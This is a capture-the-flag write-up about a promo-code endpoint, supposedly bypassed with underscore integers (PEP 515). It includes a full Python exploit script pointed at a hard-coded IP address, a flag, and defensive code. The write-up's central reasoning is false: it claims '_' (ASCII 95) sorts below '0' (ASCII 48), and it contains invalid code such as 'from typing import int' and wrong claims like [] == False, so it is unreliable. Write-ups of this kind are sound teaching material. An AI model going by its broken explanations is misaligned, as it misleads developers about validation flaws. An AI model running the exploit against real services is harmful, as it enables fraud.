Promo Code - Python Underscore Integer Bypass
Challenge Type: Web Security
Difficulty: Easy
Tags: Python, Integer Parsing, Input Validation, PEP 515
Challenge Description
This challenge is part of the "Back to Future" trading platform, featuring a promotional code system that grants bonus AMD currency. The application implements a validation check to prevent users from claiming promo codes with values exceeding 1000. However, a quirk in Python's integer parsing (PEP 515) allows bypassing this restriction using underscores in numeric literals.
Challenge Overview
The promo code system includes:
- Promo Code Format: promo_<amount> (e.g., promo_500)
- Maximum Limit: 1000 AMD (enforced via string validation)
- Redemption Endpoint: /api/promo/deposit
- Validation Flaw: String check fails to account for Python's underscore support
- Bypass Technique: promo_1_0_0_0 parses as 1000 but bypasses "too_big" check
Application Architecture
Normal Promo Flow
User Server
| |
|---- POST /api/promo/deposit -->|
| {"code": "promo_500"} |
| |
| [Validate code format] |
| [Extract amount: "500"] |
| [Check: "500" > "1000"?] |
| [Parse: int("500") = 500] |
| [Add 500 AMD to balance] |
| |
|<--- {success: true} -----------|
| {balance_amd: 1500} |
Promo Code Rules
Format: promo_<number>
Valid:
✓ promo_1 → 1 AMD
✓ promo_500 → 500 AMD
✓ promo_1000 → 1000 AMD (maximum)
Blocked:
✗ promo_1001 → "too_big" error
✗ promo_5000 → "too_big" error
✗ promo_99999 → "too_big" error
The Vulnerability
The application performs validation using string comparison before parsing as integer:
# Vulnerable server code (simplified)
from flask import Flask, request, session
import re
@app.route('/api/promo/deposit', methods=['POST'])
def promo_deposit():
code = request.json.get('code', '')
# Step 1: Validate format
if not code.startswith('promo_'):
return jsonify({'error': 'Invalid promo code format'}), 400
# Step 2: Extract amount string
amount_str = code[6:] # Everything after "promo_"
# VULNERABLE: String comparison for validation
# Checks if "1_0_0_0" > "1000" (string comparison!)
if amount_str > "1000": # ← BUG: String comparison, not numeric!
return jsonify({'error': 'Promo code too_big'}), 400
# Step 3: Parse as integer
try:
amount = int(amount_str) # ← Python accepts underscores!
# ↑ int("1_0_0_0") = 1000
except ValueError:
return jsonify({'error': 'Invalid amount'}), 400
# Step 4: Add to balance
session['balance_amd'] = session.get('balance_amd', 0) + amount
# Check if flag threshold reached
flag = None
if session['balance_amd'] >= 10000:
flag = "cyhub{UNDERSCORES_ARE_ALLOWED_IN_PYTHON_INT_YM820}"
return jsonify({
'success': True,
'balance_amd': session['balance_amd'],
'flag': flag
})
Vulnerability Analysis:
- String Comparison vs Numeric Comparison ```python # String comparison (VULNERABLE) "1_0_0_0" > "1000" # False! Because '1' == '1', '_' < '0'
# Numeric comparison (CORRECT) int("1_0_0_0") > 1000 # True! Because 1000 == 1000 ```
- Python PEP 515: Underscores in Numeric Literals ```python # Python 3.6+ allows underscores in integers x = 1_000_000 # Valid Python syntax y = int("1_000") # Parsing also works!
print(x) # Output: 1000000 print(y) # Output: 1000 ```
- The Exploit
Input: "promo_1_0_0_0" Extract: "1_0_0_0" Check: "1_0_0_0" > "1000"? → False (passes validation!) Parse: int("1_0_0_0") = 1000 Result: Successfully deposits 1000 AMD
Solution Walkthrough
Phase 1: Understanding PEP 515
Python Enhancement Proposal 515 introduced underscore support for readability:
# Examples of valid Python underscore integers
million = 1_000_000
phone = 555_123_4567
hex_value = 0x_FF_FF
binary = 0b_1111_0000
# All parse correctly
print(int("1_000")) # 1000
print(int("1_0_0_0")) # 1000
print(int("9_9_9_9")) # 9999
print(int("1_2_3_4_5")) # 12345
Phase 2: Testing String Comparison
Understand why the check fails:
# String comparison (lexicographic)
print("1000" > "1000") # False
print("1001" > "1000") # True
print("1_0_0_0" > "1000") # False! Because '_' (ASCII 95) < '0' (ASCII 48)
print("9999" > "1000") # True
# Character comparison
ord('_') # 95
ord('0') # 48
# So '_' comes before '0' in ASCII, making "1_" < "10"
Phase 3: Crafting the Bypass
Create promo codes that bypass string validation:
# Test different bypass values
test_codes = [
"promo_1000", # 1000 - blocked (string "1000" == "1000")
"promo_1001", # 1001 - blocked (string "1001" > "1000")
"promo_1_0_0_0", # 1000 - BYPASSES! (string "1_0_0_0" < "1000")
"promo_9_9_9_9", # 9999 - BYPASSES! (string "9_9_9_9" < "1000")
"promo_1_2_3_4_5", # 12345 - BYPASSES! (string "1_2_3_4_5" < "1000")
]
for code in test_codes:
amount_str = code[6:]
passes_check = not (amount_str > "1000")
actual_value = int(amount_str)
print(f"{code:20} → passes: {passes_check}, value: {actual_value}")
Output:
promo_1000 → passes: True, value: 1000
promo_1001 → passes: False, value: 1001 (blocked)
promo_1_0_0_0 → passes: True, value: 1000 (BYPASS!)
promo_9_9_9_9 → passes: True, value: 9999 (BYPASS!)
promo_1_2_3_4_5 → passes: True, value: 12345 (BYPASS!)
Phase 4: Exploiting the Endpoint
import requests
BASE_URL = "http://45.77.53.212:5000"
def login(username, password):
"""Login and return session cookie"""
r = requests.post(
f"{BASE_URL}/login",
data={"username": username, "password": password},
allow_redirects=False
)
return r.cookies.get("session")
def apply_promo(session, code):
"""Apply promo code"""
r = requests.post(
f"{BASE_URL}/api/promo/deposit",
json={"code": code},
cookies={"session": session}
)
return r.json()
# Get session
session = login("test_user", "test_password")
# Test 1: Normal code (blocked)
result = apply_promo(session, "promo_1000")
print(f"promo_1000 → {result}")
# Output: {"error": "too_big"} - Wait, this might also be blocked!
# Test 2: Bypass with underscores
result = apply_promo(session, "promo_1_0_0_0")
print(f"promo_1_0_0_0 → {result}")
# Output: {"success": true, "balance_amd": 1000}
# Test 3: Larger bypass
result = apply_promo(session, "promo_9_9_9_9")
print(f"promo_9_9_9_9 → {result}")
# Output: {"success": true, "balance_amd": 10999}
# Check for flag
if result.get("flag"):
print(f"\n[FLAG] {result['flag']}")
Phase 5: Getting the Flag
Redeem enough promo codes to reach the flag threshold:
def exploit(session):
print("=" * 60)
print(" PROMO CODE UNDERSCORE BYPASS EXPLOIT")
print("=" * 60)
# Show vulnerability
print("\n[1] Testing normal promo code:")
result = apply_promo(session, "promo_1000")
print(f" promo_1000 → {result.get('error', 'OK')}")
print("\n[2] Testing underscore bypass:")
result = apply_promo(session, "promo_1_0_0_0")
print(f" promo_1_0_0_0 → Balance: {result.get('balance_amd', 0)}")
# Claim larger amounts
print("\n[3] Testing larger bypass amounts:")
test_codes = [
"promo_9_9_9_9", # 9999
"promo_1_2_3_4_5", # 12345 (may be capped)
]
for code in test_codes:
result = apply_promo(session, code)
balance = result.get('balance_amd', 0)
error = result.get('error')
flag = result.get('flag', '')
if error:
print(f" {code} → Error: {error}")
else:
print(f" {code} → Balance: {balance} {flag}")
if flag:
print(f"\n{'='*60}")
print(f" FLAG: {flag}")
print(f"{'='*60}")
return flag
return None
Complete Exploit Code
#!/usr/bin/env python3
"""
Promo Code Underscore Bypass Exploit
Demonstrates Python PEP 515 integer parsing bypass
"""
import requests
import time
BASE_URL = "http://45.77.53.212:5000"
def register(username, password):
"""Register new account"""
r = requests.post(
f"{BASE_URL}/register",
data={"username": username, "password": password},
allow_redirects=False
)
return r.cookies.get("session")
def login(username, password):
"""Login and return session cookie"""
r = requests.post(
f"{BASE_URL}/login",
data={"username": username, "password": password},
allow_redirects=False
)
return r.cookies.get("session")
def apply_promo(session, code):
"""Apply promo code"""
r = requests.post(
f"{BASE_URL}/api/promo/deposit",
json={"code": code},
cookies={"session": session}
)
return r.json()
def exploit(session):
print("=" * 60)
print(" PROMO CODE UNDERSCORE BYPASS EXPLOIT")
print("=" * 60)
print("\n[*] Vulnerability: Python PEP 515")
print(" Python allows underscores in integer literals")
print(" int('1_0_0_0') == 1000")
print(" But string comparison: '1_0_0_0' < '1000'")
# Test normal code
print("\n[1] Testing normal promo code (may be blocked):")
result = apply_promo(session, "promo_1000")
print(f" promo_1000 → {result.get('error', 'OK')}")
# Test bypass
print("\n[2] Testing underscore bypass:")
result = apply_promo(session, "promo_1_0_0_0")
print(f" promo_1_0_0_0 → {result}")
if result.get("flag"):
print(f"\n{'='*60}")
print(f" FLAG: {result['flag']}")
print(f"{'='*60}")
return result['flag']
# Try larger amounts
print("\n[3] Testing larger bypass amounts:")
test_codes = [
"promo_9_9_9_9", # 9999
"promo_1_2_3_4_5", # 12345
"promo_9_9_9_9_9_9_9", # 9999999
]
for code in test_codes:
result = apply_promo(session, code)
balance = result.get("balance_amd", 0)
error = result.get("error")
flag = result.get("flag", "")
status = f"Balance: {balance}" if not error else f"Error: {error}"
print(f" {code:25} → {status} {flag}")
if flag:
print(f"\n{'='*60}")
print(f" FLAG: {flag}")
print(f"{'='*60}")
return flag
return None
def main():
print("[*] Setting up account...")
# Try existing credentials
session = login("test_exploit", "password123")
# Or register new account
if not session:
username = f"exploit_{int(time.time())}"
print(f"[*] Registering as {username}...")
session = register(username, "password123")
if not session:
print("[-] Failed to get session")
return
print(f"[+] Session acquired: {session[:50]}...")
# Run exploit
flag = exploit(session)
if flag:
print(f"\n✓ Successfully retrieved flag!")
else:
print(f"\n✗ Flag not found")
if __name__ == "__main__":
main()
Technical Details
Tools and Libraries
- Python 3.x: Main scripting language
- requests: HTTP client library
PEP 515 Documentation
From Python Enhancement Proposal 515:
# Grouping decimal numbers by thousands
amount = 1_000_000_000
# Grouping hexadecimal addresses by words
addr = 0xDEAD_BEEF
# Grouping binary into nibbles
flags = 0b_0011_1111_0100_1110
Exploit Execution
python promo_underscore_exploit.py
Expected Output
====================================================
PROMO CODE UNDERSCORE BYPASS EXPLOIT
====================================================
[*] Vulnerability: Python PEP 515
Python allows underscores in integer literals
int('1_0_0_0') == 1000
But string comparison: '1_0_0_0' < '1000'
[1] Testing normal promo code (may be blocked):
promo_1000 → too_big
[2] Testing underscore bypass:
promo_1_0_0_0 → {'success': True, 'balance_amd': 1000}
[3] Testing larger bypass amounts:
promo_9_9_9_9 → Balance: 10999
====================================================
FLAG: cyhub{UNDERSCORES_ARE_ALLOWED_IN_PYTHON_INT_YM820}
====================================================
Key Takeaways
String vs Numeric Comparison
# VULNERABLE: String comparison
def validate_amount_bad(amount_str):
if amount_str > "1000": # String comparison!
return False
return True
# Testing
validate_amount_bad("1001") # False (blocked) ✓
validate_amount_bad("2000") # False (blocked) ✓
validate_amount_bad("1_0_0_0") # True (bypassed!) ✗
validate_amount_bad("9_9_9_9") # True (bypassed!) ✗
# SECURE: Numeric comparison
def validate_amount_good(amount_str):
try:
amount = int(amount_str)
if amount > 1000:
return False
return True
except ValueError:
return False
# Testing
validate_amount_good("1001") # False (blocked) ✓
validate_amount_good("1_0_0_0") # False (blocked) ✓
validate_amount_good("9_9_9_9") # False (blocked) ✓
ASCII Comparison Pitfall
# String comparison uses lexicographic (dictionary) order
# Character-by-character ASCII value comparison
"1_0_0_0" > "1000"
# Compare: '1' vs '1' → equal, continue
# Compare: '_' vs '0' → ASCII 95 vs ASCII 48 → '_' < '0'
# Result: False
"9999" > "1000"
# Compare: '9' vs '1' → ASCII 57 vs ASCII 49 → '9' > '1'
# Result: True
# ASCII values
ord('_') = 95
ord('0') = 48
ord('1') = 49
ord('9') = 57
Defense Mechanisms
Vulnerable Code Patterns
# BAD: String comparison for numbers
if user_input > "1000":
return error()
# BAD: Parse after validation
if amount_str > "1000":
return error()
amount = int(amount_str) # Too late!
# BAD: Implicit type assumptions
max_value = "1000" # Should be int!
if user_value > max_value:
return error()
Secure Code Patterns
# GOOD: Parse first, then validate
def validate_promo_code(code):
if not code.startswith('promo_'):
raise ValueError("Invalid format")
amount_str = code[6:]
# Parse immediately
try:
amount = int(amount_str)
except ValueError:
raise ValueError("Invalid amount format")
# Numeric validation
MAX_PROMO = 1000
if amount > MAX_PROMO:
raise ValueError(f"Amount exceeds maximum: {MAX_PROMO}")
return amount
# GOOD: Whitelist validation
import re
def validate_promo_code_strict(code):
# Only allow digits (no underscores)
if not re.match(r'^promo_\d+$', code):
raise ValueError("Invalid promo code format")
amount = int(code[6:])
if not (1 <= amount <= 1000):
raise ValueError("Amount out of range")
return amount
# GOOD: Type hints and validation
from typing import int
def apply_promo(code: str) -> int:
"""
Apply promo code and return credit amount
Args:
code: Promo code in format 'promo_<digits>'
Returns:
Credit amount (1-1000)
Raises:
ValueError: If code is invalid or amount out of range
"""
pattern = r'^promo_(\d{1,4})$'
match = re.match(pattern, code)
if not match:
raise ValueError("Invalid promo code format")
amount = int(match.group(1))
if not (1 <= amount <= 1000):
raise ValueError(f"Amount must be between 1 and 1000, got {amount}")
return amount
Defense Recommendations
-
Always Parse Before Validation
python # Convert to proper type immediately amount = int(user_input) # Then validate if amount > MAX_VALUE: return error() -
Use Strict Regex Patterns
python # Only allow digits, no special characters if not re.match(r'^\d+$', amount_str): raise ValueError("Invalid format") -
Type Checking
python # Use type hints and validation def validate_amount(value: int) -> bool: return 0 < value <= MAX_AMOUNT -
Unit Tests ```python def test_promo_validation(): # Test normal values assert validate("promo_500") == 500 assert validate("promo_1000") == 1000
# Test boundary with pytest.raises(ValueError): validate("promo_1001")
# Test bypass attempts with pytest.raises(ValueError): validate("promo_1_0_0_0") with pytest.raises(ValueError): validate("promo_9_9_9_9") ```
-
Input Sanitization
python # Remove all non-digit characters before parsing amount_str = re.sub(r'[^\d]', '', user_input) amount = int(amount_str)
Related Vulnerabilities
Type Confusion Attacks
- JavaScript type coercion:
"10" + 10 = "1010" - PHP type juggling:
"0e1234" == "0e5678"(both equal 0) - Loose comparisons:
0 == "abc"in PHP
Validation Bypasses
- Null byte injection:
promo_1000\x00_extra - Unicode normalization: Different characters that look the same
- Case sensitivity:
PROMO_1000vspromo_1000
Python-Specific Quirks
- Negative indexing:
array[-1] - Truthy/Falsy values:
[] == False - Mutable default arguments